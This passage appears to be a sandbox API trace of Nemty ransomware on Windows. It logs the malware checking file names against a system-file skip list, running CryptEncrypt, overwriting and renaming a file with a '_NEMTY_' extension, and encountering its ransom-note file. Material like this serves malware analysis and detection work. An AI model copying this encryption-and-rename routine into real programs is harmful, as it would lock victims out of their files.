lpString2="BOOTSECT.BAK") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="bootmgr") returned 1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="programdata") returned -1 [0099.151] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="appdata") returned 1 [0099.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0099.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll.mui", lpUsedDefaultChar=0x0) returned 20 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll.mui", lpUsedDefaultChar=0x0) returned 20 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll.mui", lpUsedDefaultChar=0x0) returned 20 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll.mui", lpUsedDefaultChar=0x0) returned 20 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0099.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0099.152] Sleep (dwMilliseconds=0x5) [0099.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeec14990, dwHighDateTime=0x1d561e7)) [0099.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeec14990, dwHighDateTime=0x1d561e7)) [0099.167] GetLastError () returned 0x5 [0099.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.167] GetLastError () returned 0x5 [0099.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.168] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.168] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.168] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0099.168] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="NPsVAc7f62cAT3KZ0/I2lax6AVI3x87vVBZuScnTZFbPMGOJVo9bgm994U/7CBFn\r\nvYOsNjW/sptpWRF4c39NYAlfnj4K2PHQnNJn2gT63YjoGMc013MnfnuWC/H5n9Su\r\nM7vOgN+E7xstblBAZwJU9CZlg5kwGSa01UmqJ5S1nLqD9iOPBgALYxXYBle/xxxw\r\nbGsdyMSYI5RvEEuPi/NO5+6N/tZp/xSDG2v4VjptOqyzb2mo7ZG4F47q/vh/opdK\r\nvghIBRUpw3w9A1iPmhgttqHmNEInRdcKTMSg4Y5fuM3vW4+6kIu5mStgg/fcSy/q\r\nhRuTiGMEDcMY/GbiIH+6YA==\r\n", pcchString=0x653ef9c) returned 1 [0099.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0099.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.168] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.169] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0099.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0099.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.262] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0099.283] CloseHandle (hObject=0xffffffff) returned 0 [0099.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0099.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0099.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui._nemty_kgobjgd_")) returned 0 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.284] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1d0ab0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xee1d0ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xee1f6c10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.284] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 